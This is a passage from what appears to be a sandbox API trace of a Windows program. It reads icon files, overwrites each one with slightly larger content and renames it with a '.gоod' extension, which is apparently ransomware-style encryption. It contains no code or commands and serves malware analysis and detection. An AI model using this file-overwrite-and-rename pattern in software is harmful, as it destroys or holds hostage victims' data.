lpFilePart=0x0) returned 0x2a [0122.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0122.777] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0122.777] GetFileType (hFile=0x6e8) returned 0x1 [0122.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0122.777] GetFileType (hFile=0x6e8) returned 0x1 [0122.777] GetFileSize (in: hFile=0x6e8, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0x37e [0122.777] ReadFile (in: hFile=0x6e8, lpBuffer=0x368ca30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x368ca30*, lpNumberOfBytesRead=0x1f6edc28*=0x37e, lpOverlapped=0x0) returned 1 [0122.779] CloseHandle (hObject=0x6e8) returned 1 [0123.413] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", lpFilePart=0x0) returned 0x2a [0123.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0123.413] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0123.414] GetFileType (hFile=0x7dc) returned 0x1 [0123.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0123.414] GetFileType (hFile=0x7dc) returned 0x1 [0123.415] WriteFile (in: hFile=0x7dc, lpBuffer=0x3671be8*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3671be8*, lpNumberOfBytesWritten=0x1f6edb38*=0x380, lpOverlapped=0x0) returned 1 [0123.423] CloseHandle (hObject=0x7dc) returned 1 [0123.423] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", lpFilePart=0x0) returned 0x2a [0123.423] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.gоod", lpFilePart=0x0) returned 0x2f [0123.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0123.423] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x45c72319, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x380)) returned 1 [0123.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0123.423] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.gоod")) returned 1 [0123.424] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", lpFilePart=0x0) returned 0x2a [0123.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0123.424] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), fInfoLevelId=0x0, lpFileInformation=0x3672dd0 | out: lpFileInformation=0x3672dd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0123.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0123.424] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", lpFilePart=0x0) returned 0x2a [0123.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0123.424] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0123.424] GetFileType (hFile=0x7dc) returned 0x1 [0123.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0123.424] GetFileType (hFile=0x7dc) returned 0x1 [0123.424] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0x37e [0123.424] ReadFile (in: hFile=0x7dc, lpBuffer=0x3673378, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x3673378*, lpNumberOfBytesRead=0x1f6edc28*=0x37e, lpOverlapped=0x0) returned 1 [0123.584] CloseHandle (hObject=0x7dc) returned 1 [0123.644] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", lpFilePart=0x0) returned 0x2a [0123.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0123.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0123.645] GetFileType (hFile=0x6e8) returned 0x1 [0123.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0123.645] GetFileType (hFile=0x6e8) returned 0x1 [0123.645] WriteFile (in: hFile=0x6e8, lpBuffer=0x35bdeb0*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x35bdeb0*, lpNumberOfBytesWritten=0x1f6edb38*=0x380, lpOverlapped=0x0) returned 1 [0123.646] CloseHandle (hObject=0x6e8) returned 1 [0123.646] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", lpFilePart=0x0) returned 0x2a [0123.646] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.gоod", lpFilePart=0x0) returned 0x2f [0123.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0123.646] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x45e88302, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x380)) returned 1 [0123.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0123.646] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.gоod")) returned 1 [0123.647] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", lpFilePart=0x0) returned 0x2a [0123.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0123.647] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), fInfoLevelId=0x0, lpFileInformation=0x35bf098 | out: lpFileInformation=0x35bf098*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0123.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0123.647] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", lpFilePart=0x0) returned 0x2a [0123.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0123.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0123.647] GetFileType (hFile=0x6e8) returned 0x1 [0123.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0123.647] GetFileType (hFile=0x6e8) returned 0x1 [0123.647] GetFileSize (in: hFile=0x6e8, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0x37e [0123.647] ReadFile (in: hFile=0x6e8, lpBuffer=0x35bf640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x35bf640*, lpNumberOfBytesRead=0x1f6edc28*=0x37e, lpOverlapped=0x0) returned 1 [0124.054] CloseHandle (hObject=0x6e8) returned 1 [0124.839] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", lpFilePart=0x0) returned 0x2a [0124.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0124.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0124.841] GetFileType (hFile=0x618) returned 0x1 [0124.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0124.841] GetFileType (hFile=0x618) returned 0x1 [0124.841] WriteFile (in: hFile=0x618, lpBuffer=0x3503790*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3503790*, lpNumberOfBytesWritten=0x1f6edb38*=0x380, lpOverlapped=0x0) returned 1 [0124.842] CloseHandle (hObject=0x618) returned 1 [0124.842] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico", lpFilePart=0x0) returned 0x2a [0124.842] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.gоod", lpFilePart=0x0) returned 0x2f [0124.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0124.842] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x46a01937, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x380)) returned 1 [0124.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0124.842] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.gоod")) returned 1 [0124.843] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", lpFilePart=0x0) returned 0x2a [0124.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0124.843] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), fInfoLevelId=0x0, lpFileInformation=0x3504978 | out: lpFileInformation=0x3504978*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0124.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0124.843] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", lpFilePart=0x0) returned 0x2a [0124.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0124.843] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0124.843] GetFileType (hFile=0x618) returned 0x1 [0124.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0124.843] GetFileType (hFile=0x618) returned 0x1 [0124.843] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0x37e [0124.843] ReadFile (in: hFile=0x618, lpBuffer=0x3504f20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x3504f20*, lpNumberOfBytesRead=0x1f6edc28*=0x37e, lpOverlapped=0x0) returned 1 [0124.846] CloseHandle (hObject=0x618) returned 1 [0125.325] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", lpFilePart=0x0) returned 0x2a [0125.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0125.325] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0125.326] GetFileType (hFile=0x618) returned 0x1 [0125.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0125.326] GetFileType (hFile=0x618) returned 0x1 [0125.326] WriteFile (in: hFile=0x618, lpBuffer=0x36d1750*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x36d1750*, lpNumberOfBytesWritten=0x1f6edb38*=0x380, lpOverlapped=0x0) returned 1 [0125.327] CloseHandle (hObject=0x618) returned 1 [0125.327] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", lpFilePart=0x0) returned 0x2a [0125.327] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.gоod", lpFilePart=0x0) returned 0x2f [0125.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0125.327] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x46ea0132, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x380)) returned 1 [0125.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0125.327] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.gоod")) returned 1 [0125.328] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", lpFilePart=0x0) returned 0x2a [0125.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0125.328] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), fInfoLevelId=0x0, lpFileInformation=0x36d2938 | out: lpFileInformation=0x36d2938*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0125.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0125.329] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", lpFilePart=0x0) returned 0x2a [0125.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0125.329] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0125.329] GetFileType (hFile=0x618) returned 0x1 [0125.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0125.329] GetFileType (hFile=0x618) returned 0x1 [0125.329] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0x37e [0125.329] ReadFile (in: hFile=0x618, lpBuffer=0x36d2f78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x36d2f78*, lpNumberOfBytesRead=0x1f6edc28*=0x37e, lpOverlapped=0x0) returned 1 [0125.330] CloseHandle (hObject=0x618) returned 1 [0125.579] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", lpFilePart=0x0) returned 0x2a [0125.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0125.579] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0125.580] GetFileType (hFile=0x63c) returned 0x1 [0125.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0125.580] GetFileType (hFile=0x63c) returned 0x1 [0125.580] WriteFile (in: hFile=0x63c, lpBuffer=0x355a638*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x355a638*, lpNumberOfBytesWritten=0x1f6edb38*=0x380, lpOverlapped=0x0) returned 1 [0125.581] CloseHandle (hObject=0x63c) returned 1 [0125.581] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", lpFilePart=0x0) returned 0x2a [0125.581] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.gоod", lpFilePart=0x0) returned 0x2f [0125.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0125.581] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x47102755, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x380)) returned 1 [0125.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0125.582] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.gоod")) returned 1 [0125.582] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Save.ico", lpFilePart=0x0) returned 0x27 [0125.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0125.582] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), fInfoLevelId=0x0, lpFileInformation=0x355b820 | out: lpFileInformation=0x355b820*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1 [0125.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0125.582] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Save.ico", lpFilePart=0x0) returned 0x27 [0125.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0125.582] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, 